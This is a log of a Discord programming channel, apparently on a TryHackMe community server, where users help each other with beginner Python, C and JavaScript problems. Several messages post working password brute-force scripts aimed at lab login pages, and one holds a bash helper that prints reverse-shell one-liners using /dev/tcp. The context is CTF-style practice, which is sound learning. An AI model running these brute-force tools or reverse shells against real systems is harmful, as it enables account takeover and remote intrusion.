#programming
1 messages · Page 25 of 1
That code is not hard to read, Jabba. var names aren't descriptive, but that's really common in math algorithm implementation.
idk if its normal, but i give names like these
Scanner input1 = Scanner....
Scanner input2 = Scanner ..
pre easy to understand if am giving it to read to someone else
It's a simple math program so yea I was too lazy to rewrite the very long variable name again
but its kinda obvious soo
It really is. It wasn't introduced to me by that name, but the process was the first way debugging was introduced to me.
What is the shorter way of saying "rubber duck debugging"
Another technique that will help you a lot is use TDD. This is especially helpful for math functions because black box concepts are really easy understand with math functions.
Explain what you are doing out loud.
"Talking to your self is a sign of being a genius"
We used to call talking to yourself schizophrenia. Now we just call it bluetooth 🤷♂️
Hello everyone, please I have a question about pointers in C language.
This notation
P1=&A;
Means that P1 receives the adress of A (a given variable ) does this also imply that *P1=A the value of P1 becomes the same value as A?
That can depend on what kind of variable P1 is declared as
Integer
int P1 = &A; is horrible practice. Don't get in that habit of storing addresses as integers.
It's declarred like this
int A=1;
int *P1;
int * and int are two very different datatypes.
in your scenario, P1=&A is telling P1 that the address P1 is pointing to is the same place in memory as A. *P1=A is de-referencing the address of P1 and copying the value of A into that address. This can be dangerous if the memory P1 is pointing to has not been allocated by the program.
It's pretty common mistake to do something like int *P1; int A = 7; *P1=A
Okay thanks
hello
I made a python script to brute force Mr robot room on TryHackMe...
But after 500 Tries, it gives an error....
whats the error
Software caused connection error
The full error is very long
I am running this on android
Is that the problem?
Hey!
Here's the Pastebin: https://pastebin.com/jBfy167k
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
I didn't understand whats going on....
Umhmm
Yes
But what's the problem? I have a stable internet connection
looks like lots of incorrect syntax’s.
They are connection errors?
maybe some but lots look like syntax errors afaik
i don’t really program at python but it looks like it’s syntax error
i see the error trying to say something abt the file
Where?
read the error
yup
i can’t really help i never code py before
i do minimal python but that is syntax errors
42 and 31?
the error tells which line
400, 600
it’s the code that is making the request which is giving you errors
that reminds me cpp programming, one error and it will show a bunch of error message.
My program is shorter than this...
not your connection
oh okay then but still look
Hmmm.
it’s the request codes
But the problem is, the error occurs differently everytime...
Sometimes at password 500
And sometimes at 700
Even sometimes at 1500
the program will do exactly what you wrote
So why an error?
one string of bad code will mess up the whole program
Should I send the code?
because you didn’t write the program correct
Hmm
why not
i also saw soemthing about your library’s did you install all your requirements ?
I will send
and packages
It was just requests
Wait
Yes
Ok
@remote echo Here you go: https://pastebin.com/F834XqFw
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Codeblock:
import sys
import requests
import threading
pwd = str("0")
if len(sys.argv) not in [4]:
print('[*] Usage: python wpbruter.py <target> <username> <wordlist>\n')
sys.exit(1)
if sys.argv[1][:7] != 'http://':
host = 'http://' + sys.argv[1]
else:
host = sys.argv[1]
print ('[*] BruteForcing:', host)
print ('[*] Username:', sys.argv[2])
try:
passwords = [x.strip() for x in open(sys.argv[3], 'r', encoding='latin-1').readlines() if x]
print ('[*] Total Passwords Loaded:', len(passwords), '\n')
except IOError:
print('[-] Error: Wordlist Not Found\n')
sys.exit(1)
def Brute(target, wlist):
s = requests.Session()
for number,password in enumerate(passwords):
fodata = {'log': sys.argv[2],'pwd': password}
response = s.post(target, data=fodata)
print("[*] Trying Password#" + str(number) + ": " + password)
if "The password you entered for the username" not in response.text:
print()
print('[+] Password Found: '+ password)
global pwd
pwd += str("1")
sys.exit(0)
try:
Brute(sys.argv[1], sys.argv[3])
except KeyboardInterrupt:
print("[-] Aborted")
sys.exit(0)
if pwd == str("0"):
print("[-] Password Not Found")
sys.exit(0)
Now?
i think something triggers your exception
?
as i say i can’t really help i don’t code py
Hmm
look at your exception
Where?
Ig ur problem is args, argv[0] should by python3 right? Or filename?
That's where u messed up code
The command was: python3 MrRobot.py target Elliot fsocity.dic
No, i didn't! I just forgot to tell that argv 1 is the filename...
U are connecting to http://MrRobot.py instead of target
if sys.argv[1][:7] != 'http://':
host = 'http://' + sys.argv[1]
else:
host = sys.argv[1]
See
Idk what u did there, but here u messed with arguments
I see
So, of I remove the code
Will it work?
Are u just copy pasting from somewhere?
target is argv2 , username is argv3 and word list is argv4.
Either make changes accordingly
OR
Add shebang to ur code and make it executable then run like ./Mr.Robot.py
damn python syntax burns my eyes
lmao idk
So, there are 5 arguments?
Wait....
I see something....
That's not the problem.
Oh, so it's working
See, it says, BruteForcing: target.
And it's correct, sys.argv[1]
And in the program, host is set to sys.argv 1
So that is correct
Right?
interesting
@languid sail the error is coming after 500 attempts?
i remember i make a game called “hangman” with cpp
It's different everytime
Yeah, i mean approx
I have 2 questions.
- Why on a mobile?
- Why on a mobile?
Cause my laptop is not with me...
Then it's just internet issue or their side maybe
I am running python emulator
Maybe
Cuz in a ctf, i wasn't able to go over all iteration in programming chall, so i just gave script to my teammate from other country and it worked for him
Hmm
i see ^C then aborted
That is did to show you guys that the args are correct
D.R.Y. 
^C is ctrl + c
So, can I just print connection error and then go on?
I know. So?
ok.
def question = {
println("Why on a Mobile?")
}
question()
question()
Volume down + C does the same
Lol
Nice
But syntax errors

No
weird function syntax
What should I do?
Damn groovy
.
If yes, then how?
@languid sail no , script isn't issue ig
I see
U can try turning down speed or use threading
while(true)
{
std::cout << “why are you on mobile?\n”;
}
U just imported it but didn't use
Used it earlier.
But I thought, that was the problen6
we don't like infinite loops, and lets swan help Adarsh with his thing.
In case u used threading and faced this
https://stackoverflow.com/questions/62434792/connectionabortederror-errno-53-software-caused-connection-abort
threading is used for performance purposes
Let it go. I don't need it...
I see
What about this?
What?
This thing
I didn't get what u wanna say
Wait: So, can I just print connection error and then go on?
Yo, i can read, i didn't understand it lmao
I am asking, where should I add the except statement...
When this error occurs, it should print and continue
Well, if connection is lost, is it even gonna ever find password?
I don't think it will right
Idk tbh whether it will come back or not
Maybe just try it out ¯_(ツ)_/¯
But that's what I am asking. There are many occurred errors and where should I add except?
i hate exceptions
Me too
hard to follow and scary looking error
||That's why u should use functions and organised code||
why not print out if it fails
I Did, right?
But How?
At the Except, u can do like except exception as e: and then see if it keyboard interrupt, if yes then quit, else pass.
OR
U can try using try except else statements
so much exception is weird in a small program
plus u can use exception with multiple throws
Where at except?
no need to separate
Just like: except:?
But KeyboardInterrupt and Internet Error will show the same?
That's why I said with exception as e lol
But there are many exceptions
Are u even reading it?
it’s up to the catch
Hmm
it’s how u handle exception errors
Just Google lmao
Ok. I will see. See you soon!
Thankyou @remote echo, @lilac holly , @lilac holly and @vernal vigil
Rude isn't the word but I'm bad at vocabulary 😂
+rep
Gave +1 Rep to @remote echo
that’s the thank you
Gave +1 Rep to @remote echo
... but i didn't helped in any way.
ok
did i ask you?
all good 😃
add a finally block
or an except else.
Pass will ignore whatever is inside [generally nothing will be inside] and move on with the code, it does nothing.
How to use except else?
+rep @vernal vigil
Gave +1 Rep to @vernal vigil
I am busy atm.
try watching yt on Exception Handling in Python. They can help ya out
def prime(n):
if (n>1):
for i in range(2,n):
if (n%i)==0:
print("NO")
return
else:
print("YES")
return
else: print("NO")
return
n=int(input())
prime(n)```
Why isn;t my code working, im trying to check for prime number but I entered 9 and it said yes
Ah I see
The code works now. I misplaced the else: it should be within the for loop instead of the if loop

I agree with potato.
You have a couple of fundamental problems with your algorithm.
y
Because rockyou isn't all unicode.
It might make sense to read it in as byte strings or something.
how do i do dat
I have no idea.
Seems like a really good time to go through the py docs.
I'd guess it's somehow related to read(). But I don't know for sure.
ooh, don't forget to close the file after you're done looping
how do i fix it
uh
I had that issue before
gimme a sec
this should...work?
f = open('/path/to/rockyou.txt', 'r', encoding='iso-8859-1')
@restive fossil
fyi rock you is full of clutter
Jayy, the most pythonic way to read a file is using the with open() pattern
yeah I know, just copied it off my old msg haha
GG
oh btw thx
Gave +1 Rep to @surreal bronze
hi
i wish to be active in this community
i used to avoid posting my videos in this server. but, i defy since, it is relevant video
passwords = [ x.split() for x in open('/usr/share/wordlists/rockyou.txt', 'r', encoding='iso-8859-1').read().split('\n') if x ]
what are the .split's doing here
oh
got it
nvm
alright rlly random, is anyone here good at chemistry
You can post walkthrough vids in #thm-community-media
maybe I am, depends on how good
HI
I will follow here after
Can you recommend me a leetcode-style site to practise some OO concepts specifically? So far I've found the problems on Codewars in the OOP category to be the closest to what I'm looking for, but I'm still asking if someone can recommend anything on top of that
Check pins
no, I know there's a list, I was looking for a recommendation.
I thought it was SolarWinds123?
Surely the password is "PASSWORD\n123" not "PASSWORD 123"
!crack 69b87ac274cbf60c32d7969f4357325d
Cracked 69b87ac274cbf60c32d7969f4357325d :smile:
solarwinds123
Type(s): MD5
@surreal bronze
https://github.com/HashPals/Search-That-Hash
Is there a name for this syntax of writing bytes \x41\x42\x43 ? escaped bytes ?
@tired ether hexadecimal?
that's not hex
@mortal flint pretty sure it is
@mortal flint x41 = A, x42 = B and x43 is C
you can look it up on cyberchef
Hi all, can anyone help explain some python syntax to me, I don't understand it and can't find any more info> (using socket library)
connection, address = s.accept()
Is this setting connection and address to be the same value of s.accept() ? Or is it the same as doing s.accept(connection, address) ?
s.accept() returns two values
s.accept will return a tuple in the form (x, y) (I don't know the exact contents offhand) and the assignment will be expanded to connection =x, address = y
@rigid tapir it's like this, if you do the line
x, y = 1, 2
print(x, y)
then x will = 1
and y will = 2
it's respective to the order they're defined in
0x41 is hexadecimal, I'm talking about \x41 it's like a byte representation in strings but I don't know what this syntax is called
so since s.accept() returns two values, with this in mind your line
connection, address = s.accept()
connection will equal the first returned value and address will equal the second returned value
and if you only said something like
conncetion = s.accept()
then connection will be assigned both values and be a tuple
@tired ether hmmmm, I usually use those arguments when writing in perl or something
and to my knowledge it was in hexadecimal
@tired ether are you using it for something at the moment? if so could you post it
in a book i'm reading it says
Any character, such as a nonprintable character, can also be printed by using \x##, where ## is the hexadecimal value of the character
It's okay, I figured out my problem it was just hard to search for because I don't know what the name of this \x41 syntax is hahaha, but thank you 🙂
@tired ether yeah I'm pretty sure I'm right in saying that you can just call it hexadecimal
because at the end of the day, that's typically what it's used for
and also what it translates to
also, you don't always have to include the 0 in hexadecimal
My problem was searching about hexadecimal all the posts used 0x41 which wasn't applicable for what I'm doing 😅
ggOh@localhost:~$ perl -e 'print "\x41\x42\x43\n";'
ABC
I'm just wondering is there some special name for writing like \x41
yeah I get what you mean
ahh brilliant. Thanks everyone. Good to know
Gave +1 Rep to @mortal flint
Thanks @solar echo too (i don't know how the rep system works but yeah)
if you do a +rep and mention a name, or say "thanks" while replying to someone, they get one rep point
Have to be verified, though, so @solar echo , you may want to do this:
!docs verify
also, you can only thank 1 person every 5 minutes (or maybe 10?)
does anyone here know assembly language?
since I'm personally into low-level & bare-metal ethical hacking
I'm interested in low level programming, not too much of a fan of assembly though, I prefer programming in C. But if you want to know it well then it's best to know assembly and how the processor and memory works
I'd also be willing to learn C
you should
my favourite language of all time, but can prove to be a bit trick at times
are you a beginner to these things or are you trying to ask an assembly question?
for (let move of piecesPositionList) {
let index = named.indexOf(move.charAt(0));
for (let i = 0; game[i][index] !== 0; i++){
console.log("hey");
if(game[i][index] === 0) {
if(go === 0) {
game[i][index] = startPlayer;
go = 1;
break;
}
else {
game[i][index] = secondPlayer;
go = 0;
break;
}
}
}
}```
Is anyone able to see why the second for loop not running?
I've logged a "hey" to check and it doesn't seem to run.
do you know that the first loop definitely gets executed?
after that let index = line, I'd print out what index is, as well as game[0][index]
I mean the first one, before the inner loop
well, if it works, then what's the problem? 🙂
@mortal flint this is the problem
0
that's why the inner loop doesn't execute
Oh right
before that inner loop, print the value of: game[i][index] !== 0
should be true or false.
At least a different condition
if/when that condition is false, the loop exits. Even if that means it exits on the first iteration
yeah I better use a while loop
That isn't going to solve your problem.
while loops and for loops are (or can be) written to be equivalent
if index is 0 and it says !== 0
I'm not even sure you want/need an inner loop there. You're switching back and forth between two values, it looks like?
Yes
I need it cause I need to know when to go up arrays or not
but what I wanna know is why inner loop don't run
if game[i][index] === 0;
perhaps using a boolean would be better? something like isPlayerOnesTurn
then shouldn't it run until it's not 0?
show me the loop init line
for (let i = 0; game[i][index] !== 0; i++)
yeah but I need the numbers not booleans
although boolean works too in a way
if(isPlayerOnesTurn) { x = 0 } or something
this will run until a zero value is encountered, which is what it start with, so it will never run
you want to loop to run as long as game i index is not 0 but then you do if game i i ndex == 0 which will never happen since the loop will no longer execute when its 0 ?
I thought it was the other way around
!== is a type comparison. JS is funky, and may not be evaluating zero the way it ought to
both
@lilac holly oh well to be honest, I'd recommend you start with C or something before you dive into Assembly
learning Assembly will help learning C, but then learning C will help learning Assembly
it's just that C is easier, and since you're a beginner I think it's appropriate
makes sense
any IDE and or recourses you think I should get, for teaching myself? @solar echo
IDE I'd say just go with Visual studio code as you can easily run programs in there. I use Vim and compile, debug and run in terminal. I will send you resources in dms
most people recommend "The C Programming Language", and although this is a good book. I think that it's for someone who is more experienced computer science and programming wise
so instead I recommend the book "Head First C" which I think is a book so simple that even a 5 year old could comprehend it
yet it covers so much in so much detail
I sent you a pdf of it in dms
nevermind, looks like you don't like outsiders
@solar echo Do not distribute copyrighted material, that's book piracy
as for assembly, I recommend reading "Hacking: The Art of Exploitation 2nd Edition" by Jon Erickson
@onyx merlin sorry
just trying to help the guy out
Yeah, but don't break the law while doing that.
mhm
anyways
The art of exploitation teaches C in it's second chapter, now although you could argue that this makes reading Head First C useless... I disagree. It teaches things at a fast pace and very briefly. A beginner won't be able to keep up
this also explores the relation ship Assembly, C and the cpu has with each other
I'm currently installing Visual Studio Code @solar echo
do it
you should also familiarise yourself with compiling C files and also some bash
you learn some of that in the book I recommended you
;)
@solar echo I saw that
-warn @solar echo Do not attempt to DM users with pirated copies of books. Do not promote or encourage pirating books or other copyrighted material.
⚠ Warned CL04K#1206
To make it clear, if you do it again I'll ban you.
I'm sorry, I won't do it again
Up to 10 last deleted messages (last hour or 12 hours for premium):
1 minute ago (Fri May 21 23:47:28 2021) CL04K#1206: also, you can pirate it online
very cool
now I need to get github, which I'll be doing
you can just use it on your browser
you should be able to DM me, just not send friend requests
done @solar echo
no, I mean that I sent you a friend request lol @solar echo
oh
Hey some1 can give me code for XAMMP for cmd
?
kinda like i wanna run XAMMP in cmd but i dont remember how to run
Have you tried googling it?
Hey guys need a small help with c++
What do you need help with?
i do check wait
How do I write this condition in an if statement? If this condition is true then go to else: in python btw
To be more clear, I wanna write an if statement. If not abs(a)<=1000 or not abs(b)<=1000 or b==0 then print('invalid' else: print out function
if not(abs(a)<=1000) or not (abs(b)<=1000) or (b==0): print("INVALID")
else: recfac(a,b)```
Is this ok
🤔
Ah it works now
I dont know why i didn't do rubber duck debug
Can anyone help me with python grequests?
I was looking for threaded requests
And found this
I am making a POST request
I was to print the response as text
In requests, we de response.text
What to do in grequests?
Have you googled it?
dont know, sorry
Why don't use requests + threading ?
Hmm, Maybe make multiple threads.
maybe this helps you
@fading tartan, See: https://stackoverflow.com/questions/38280094/python-requests-with-multithreading
Google it sir.
I'm pretty sure u can find it
cuz i did
I am not getting it...
Google ? Anyway, idk. But it should work
Atleast read and try what is given to u
Sure
Btw, I also found this earlier
But as I saw get request, I left ..
Thanks for leading me to the correct direction
+rep @remote echo
Gave +1 Rep to @remote echo
@languid sail https://www.programcreek.com/python/example/103992/grequests.get
This has a lot of examples, look at em
This page shows Python examples of grequests.get
Ooo
Thanks
It has post requests too
I see
And yes everything was on first few links of Google search ¯_(ツ)_/¯
Hmm
Thanks!
can anyone help me with some basic python stuff?
if the input is a c
print out the list of characters from a to c more specific is a b c
how can i do that with for loop
I got someone help me, sorry i was too sleepy to focus
@dusty ore was it a tuple or something that you were working with?
Ye
did you figure out your problem or do you still need help
I think this would be easier to do with a list or a dictionary
Something like this?
data = ["a", "b", "c", "d", "e"]
userInput = input("Enter a selection: ")
save = False
output = []
for char in data:
if char == userInput.split(" ")[0]:
save = True
elif char == userInput.split(" ")[1]:
save = False
if save:
output.append(char)
Super inefficient but it's the easiest
not too bad, it works
better than making two variables for the range
like
userInput1, userInput2 = input("Enter a selection: ")
I haven't wrote python in ages but I'm pretty sure that works
you have to put .split() at the end rihgt?
of the input function
that's where I made the mistake right?
no worries haha
binary '==': no operator found which takes a left-hand operand of type 'const _Ty' (or there is no acceptable conversion)
this error makes no sense
also its in the xmemory.h file
anyone know why im getting this error?
I am assuming u want all alphabet like if input is a z u want to print a to z.
u can take the input and then list() it so i am assuming user[0] is a and user[1] is c.
for i in range(ord(user[0]) , ord(user[1]) + 1 ):
print(chr(i))
Or if u want list, then instead of printing every char, append it to a list in for loop and then print the list
U would need some checks though
I.e. ord(user[0]) <= ord(user[1])
wow, just learned that golang initializes its rng with a shared default seed. That seems a little odd to me, given that this language also aims for programming starters?
I noticed while looking at the output of a loop that generated some random strings
It's pretty common in a lot of languages. Using a seed that you can predict makes initial correctness checks for your algorithm easier, though.
sure, I get that part. I just thought that newer languages would initialize the rng with a bit of safety in mind and define a testseed as a constant to verify the correctness.
Or, at least, languages that aim for people like me ^^
well, (re-)taught me a valuable lesson: read the documentation 🙂
@remote echo , Getting some errors with the method you told
import grequests
import sys
cookies = {
'connect.sid': 's%3A_VE3KxizENRfy7u30BXXgOcIrtiPz4JW.flTew3o2zUrYPWLrEc5BnC%2FJbD9LYirhV7CBoT2gF5k',
}
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Referer': 'http://10.10.94.179/login',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://10.10.94.179',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
}
passwords = [ x.strip() for x in open('/usr/share/wordlists/rockyou.txt', 'r', encoding='latin-1') if x ]
for password in passwords:
data = {
'username': 'molly',
'password': password
}
print("[*] Trying Password: " + password)
rs = grequests.post('http://10.10.94.179/login', headers=headers, cookies=cookies, data=data)
grequests.map(rs)
This gives an error:
Traceback (most recent call last):
File "/home/kali/Hydra.py", line 30, in <module>
grequests.map(rs)
File "/home/kali/.local/lib/python3.9/site-packages/grequests.py", line 121, in map
requests = list(requests)
TypeError: 'AsyncRequest' object is not iterable
Can anyone help me here?
Got it!!!
grequests.map((grequests.post(url, data=post_data, ..., headers=headers),))[0] try like this @languid sail
I forgot to include code for my question. This is what i ended up with:
line = input().strip()
start, end = line.split()
start = start.lower()
end = end.lower()
vector = []
for char in range(ord(start), ord(end) + 1):
vector.append(chr(char).upper())
print(' '.join(vector))
Anyway, it is solved, thanks guys
can a header file in c be named as .c instead of .h?
like its a header file in the source just the extension is .c
yes
+rep @lilac holly
Gave +1 Rep to @cerulean turret
uwu

one more question should a dll file be always a header file in c?
or can include both the header and the source file in one executable
in regards to the last question, this is what you should do
so to answer both,
THIS one
aight
Isn't that what i said lol
Anyway GG
i was having a problem because i used a character as a variable
and I was sleepy so i couldn't focus
Lol
lol
Can anyone suggest me projects related to cyber security that I can develop
pins
Can someone help me with this.
input: N
output: x
In python
I saw someone did this with only 3 lines of codes but i don't understand them :(
n = int(input())
detal = 1 + 8*n
print(int(abs((-1+math.sqrt(detal))/2)))
Example:
input: 6 output:3
Abs = absolute difference
So it's finding the difference between the numbers
.sqrt = square root
*absolute value
Value sorry
AKA ignore the sign, just give the magnitude
I know but idk how the code applies to the logic
There's a fomula for the sum of natural numbers like that
n(n+1)/2
formula 1+ 2+ ... + n = n(n+1) / 2, for n a natural number
That's how I'd do it at least
the question looks great i tried to solve it the inequality part got me i will message you when i get the answer tbh interesting problem
how do you even know that btw
i never know such formulas to these problems tbh
I just use loops everytime
its basic arthematic progression
a + a + d + a +2d .. . . . . a + (n-1 )d = n(n-1)/2
a = 1 term , d = common diff , n = number of terms
woa thanks. Imma check it
this second part
@dusty ore note this is not the solution that of ur question but it will make u understand it well
Thanks
hey sorry its a wrong link tbh
I will watch it for a better understanding about arithmetic progression
wait leme give u right thing
okay
yeah this is more fundamental
after you watch this watch the other 2
the two links you sent above?
yeah
but first watch this . these are the fundamentals
till then i try to solve that question
@dusty ore
so here we will use this equation
like this N = x(x-1)/2= $x^2 -x -2N
by using qudratic equation
$(-b +- \sqrt{b^2 -4ac}/2A)
-1 +- underoot(1 - 4*1*2N)
= -1 + - underoot(1-*8n)
they used abs for the absolute value as we want least value
let me read and try to understand
i am asuming that you have seen the first video
ok
np
!/bin/bash
echo "Select any language to get its shell code"
echo "1.bash"
read choice
if [$choice=="1"]
then
echo "bash -i >& /dev/tcp/$1/$2 0>&1"
echo "bash -c 'bash -i >& /dev/tcp/$1/$2 0>&1'"
echo "0<&196;exec 196<>/dev/tcp/$1/$2; sh <&196 >&196 2>&196"
echo "/bin/bash -l > /dev/tcp/$1/$2 0<&1 2>&1"
fi
i am having error on line where choice variable is being compared to 1
i also tried [[$choice -eq 1]]
hello, my question is on auto tracking camera algorithm, so i don't know if i can have a answer on this server but.. i test
so is there a person that know how auto tracking camera algorithm works ? thats for a project of like.. auto turret security system
thank you
np dude
good luck ^^
It's quite easy, just track things that move if you don't care about identifying them. Take a picture of a frame, and a 2nd frame. The pixels that moved is the object that's moving 😁
See also: Life Hutch - Love, Death, and Robots Season 2
@stone kayak yes i track human whit tensorflow pretrained neural network, but wen i know where the person is, if i have like 2 FPS how can i track the person correctly like fluently ?
there is no like intelligent algorithm whit complexe math ?
all algorithm are dumb like if the detected object are too far on left i turn left to place it on the center and so if i have like 1 FPS and i move at 1° it will move 1° every 1 second ???
that is my problem
@crisp elbow just try
if [ $choice -eq 1 ]
then
echo "Choice is 1"
fi
Need some help with C if anyone can.
I have an array of structs which contains a name, a value between 5 and 150 (This project is basically a change calculator).
The program opens a file and reads records from it to the struct array, now, when there is a duplicate name, these need to be treated as the same person, so ideally add the change value from the second name instance, to the first name instances record, then delete the second name instance record.
Now, this makes sense, but is there a simpler way to shift the rest of items in the array or is manual looping the only option?
i,e File loads 15 records total to array. name "Lovecraft 50" at [0], loads other arbitrary records, name "Lovecraft 80" at [8], finished loading filling to [14]. Add the value of [8] to [0], delete the remaining information inside of [8]. [0] is now correct, [8] is now empty(NULL?) and >[8] now need to be shifted down one element to not have gaps in the array.
and is it fine to leave [14] empty?
yes i was doing ["$choice"=="1"]
but [ "$choice" == "1" ] works because spaces are required
@dim slate are you using file streams or file descriptors?
Streams from FILE *
(i don't find channel for this but is for a code so)hello i have a hard time to understand stepper motor, so my motor do 4096 steps for 360° so can my motor do precisely 1° ?
because i find that 11.377777..8 step = 1° but that is not realy 1° because i can't do 11,3... i can only do 11 or 12
Steps are discrete, not continuous. You cannot do partial steps.
Would you be able to send your code? Would make it easier to understand
I’m in school right now on my phone
Your stepper motor will also have a minimal angular resolution, this is the minimum degree change that can be done in a single step. If you try to do a 'half step', it will end up not working right and you could damage the motor
ok
but i don't understand that my motor can have 4096 available position on 360° but he can't do a 1° move
i just want the motor to move 1° xD
I just explained that.
The stepper itself cannot get precisely 1 degree of change. If you need that precision, your options are get a stepper that matches your use-case or else engineer up some kind of gearing system to convert some number of steps to 1 degree
ok
How critical is this 1 degree?
and why do you need angular distance and not linear distance?
i don't really know i am trying to do the motor code of my Auto turret system
its a project whit tensorflow and object recognition
and i just want tooo like know were my motor are and tell them were to go
like i want my motor to go to 45 ° and he do the job owo
There are micro and half stepping patterns you can use with a stepper; but they can damage the motor if you use an incorrect pattern. Unless you know it won't hurt your stepper (ie, the datasheet tells you what the micro and half step patterns are) don't use them.
ok
no
its like a intelligent security system
its like a camera whit personal assistant and his job is to help me and wen i am not home to monitore the home and he needs to turn this camera/head
i call him turret but he as no gun x) just tons of sensor camera ect
so i am searching a solution to know were the "turret" motor are and tell the motor were to go precisely in 360° angle even if it's not in degree but a kind of degree
but i think i will just reaplace the 360 degre 4096 step i think it will do the job
thank you Juun ! ^^
Just my $0.02, but you should make it look and sound like the portal turret.
And in your case, it doesn't sound like you need to be able to position it to a specific degree- use those 4096 steps, which are more precise than a degree.
^ this. (Portal turret)
if it's shooting Nerf it could be fun 😉
I'd be careful at the 360 <-> 0 degree boundary though
might be better to limit to a 180 degree range
or some divisor of 4096 if you want to get degree precision
Hey! I downloaded the pyinstaller package and one of its files 'run.exe' is detected as a virus. Is it the same for you'll?
I am working on some python scripts. one of them is vpnconnect. What I expect is, when I run this, it should automatically connect to the thm VPN and print the IP. But, when I run it, it connects and doesn't go forward because the vpn doesn't stop. I am using os.system for this
Nope
How did you install?
Pip
Command?
pip install pyinstaller
Nothing....I scan my entire computer once a month and it found it
I see
That's normal. Once I wrote a batch script for folder locker and it was detected to run malicious commands. Lol
Lol
The exe compiled by pyinstaller is considered to be a Trojan by antivirus software., Programmer Sought, the best programmer technical posts sharing site.
Does your program run os commands?
No
Hmm
Well it was just a test program
What's the path to run.exe?
Gimme 2
What was in there?
Sure
A really basic input thing and if else conditions
I see
C:\Users*User*\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.8_qbz5n2kfra8p0\LocalCache\local-packages\Python38\site-packages\PyInstaller\bootloader\Windows-32bit\run.exe
I'm opposed to any auto-tracking robot capable of shooting a projectile - target acquisition is one thing, but the last thing a kid learning robotics needs is to attempt to auto-target a sibling and get a parent instead 🙂
It's not a trojan
Don't worry
fair enough, I'd track my boss instead ^_^
Just allow it
I deleted it...
Why?
Idk
Re-download
Nah..let it be..I never even use pyinstaller that often
No problem :)
*pyinstaller not python lol
Its not very useful I know
Yep I created an ssh client kinda utility which needs paramiko and it won't compile..
Ooo.. I see
Google's got you covered
Needed to 📈📈 the python on my GitHub lol
Pyinstaller itself is the trojan
Yeah, I'm pretty sure it's normal for Windows to detect PyInstaller as a trojan
Yes
Not surprising. Paramiko gets picked up a lot by AV
uhh no...it didnt
one of pyinstaller's files did
paramiko works perfectly
here r the pyinstaller files if u'll wanna scan em
Pyinstaller is detected, yeah.
@magic falcon Are you about? Can I DM?
Yeah, I'm here. Feel free to DM @humble venture
I wish I was an MD... 😄
yeah, dyslexia is hard sometimes 😛
Hehe, We cool
Congrats @magic falcon o/
Haha, Thanks
Jayy, I will remove all your y's for a ghost-ping...
I would rather be given CEH then have my y's been taken away from me
Anyhow.. This is #programming
@surreal bronze how about both?
oh god
you evil person
You asked for it
.
rather is a choice!
I would rather be given CEH then...
I did exactly what you said to do
Gave you CEH then took your y's 🤷♂️
Good grammar is important y'all
Nahhhhh, that was all you
jayy you look good without the yyyyyyyy
and your name is easy.. its just Ja
goddamit this is why I need grammarly jabba
Hi everyone, I started to develop a liking for malware analysis, I have some python experience and currently working my way thoughy the book "Black hat python programming by Justin Seitz(2nd edition") . Any other suggestions as to what languages I should consider learning? And please dont say C😩 😩
What you need to hear and what you want to hear are two different things.....
hey, I started a quick project for practice and the code is basically rotating proxies from csv i built. but the proxies cant access HTTPS websites. how can i find proxies that support HTTPS protocol? please tag me in your reply, thx.
I'm just guessing here, but I would think some knowledge of assembler would be pretty key to reverse engineering things.
- if you're getting a syntax error it will tell you where.
- Not really appropriate to be making jokes about that here.
its just a thing i was making as a joke but the syntax error part wasnt a joke
Where is it telling you the syntax error is?
(I'll give you a hint -- that else looks awfully exposed)
Having said which, that should just be bad form, thinking about it
It compiles fine for me 🤷♂️
ok ty
Yeah, that else is kinda the same thing that caused the goto fail bug. Single-line control structures do not require { } braces in C, but you should always put them anyways.
Some compilers require argc, argv for main. The else shouldn't be a problem, as that output is just a single statement.
Aye -- just me being an idiot and forgetting that good form doesn't necessarily equal necessary 🙂
sad but true 
But then I guess if everyone wrote good code, I wouldn't have the job I do, so 🤷♂️
When I was a TA, almost every uni student would lose points on code style. I got so much hate thrown at me for 5% off for not null checking a pointer....
same for me. I was a super strict grader on things. They hated it. but then thanked me later when they aced interviews and got good jobs.
None of them realized I was saving them many hours of debugging seg faults
If your students don't hate you, you're probably not doing your job well
Hehe, I count myself lucky that dirty code drives me nuts
I would have a null check macro, especially for freeing pointers
Most of them went that advanced.
% has a very specific meaning in programming. It does not mean 'percent'. Your next step is to figure out what all the arithmetic operators are, and how they work.
A dictionary
oh
So can I "scan" it?
Like comparing a char in that dictionary
Sorry for my bad english, dunno how to describe it
Oh okay, thanks. Imma do a research about dictionary in python
May I ask why I get this error?
uh what is 'Alphanum_to_nato' function doing?
alphanum_to_nato is a dictionary
and newstr[i] is your key pairs?
and if your accessing through key pair
it should be like, dictname['key']
May I ask what key pair is 🤔
It's not a key pair?
I did alphanum_to_nato['4'] and it worked fine
It's just the key
Yeah, then in your code you go from [] to ()
i meant if youre accessing the values from a dict you have to use keys
Is that your code?
Its better to write and understand it instead of grabbing some random one of the internet and not knowing what your doing
Mkay
I mean this is from an experiment question from exercism
I copied and pasted the template incl dictionary + empty function to sublime and write my own codes
I'd start with something simpler, like learning how to use and acccess dictionaries before using them in the question
I mean, I was about to learn basic thingys but exercism asked me if i'd like to join in a test
So yea...
It worked
basically, it's because i forgot the parenthesis
._.

I need some help
I failed empty string test case but I did write an if statement checking whether str=='' return if true else: continue
But it still fails
Reread the error. What you are saying and what the screenshot is saying are different things.
I see, but if the string is empty, then that code shouldn't be executed
Therefore, error won't happen
That's not how syntax checking works. Your code isn't being executed, because it's failing a linting step that comes before execution.
Spoken like a true TA 🙂 
Im wondering why would you check if a datatype is empty. Don't you have to use the variable instead or am i missing something?
You are being told what is wrong by that Error output.
fixed the function cuz the function provided by exercism seems to be kinda weird
Now it works (Exactly like in my pc)
Yay
Thanks guys! I wouldn't be able to complete this "very easy for everyone else than me" problem without you

Agree with Potato. It's more important to understand everything you are working with than to get green tests.
depends on what stage he is at, as it says it can be submitted for further scrutiny
I can say I take this problem as a test to see if my python skill is good enough
Hi
Hi
I have an idea and i want to make it a program.
I want that if i assign a work for some time after that time that thing automatically saves and closes and reminder of another work pops up in my pc.
can a python program be build for this??
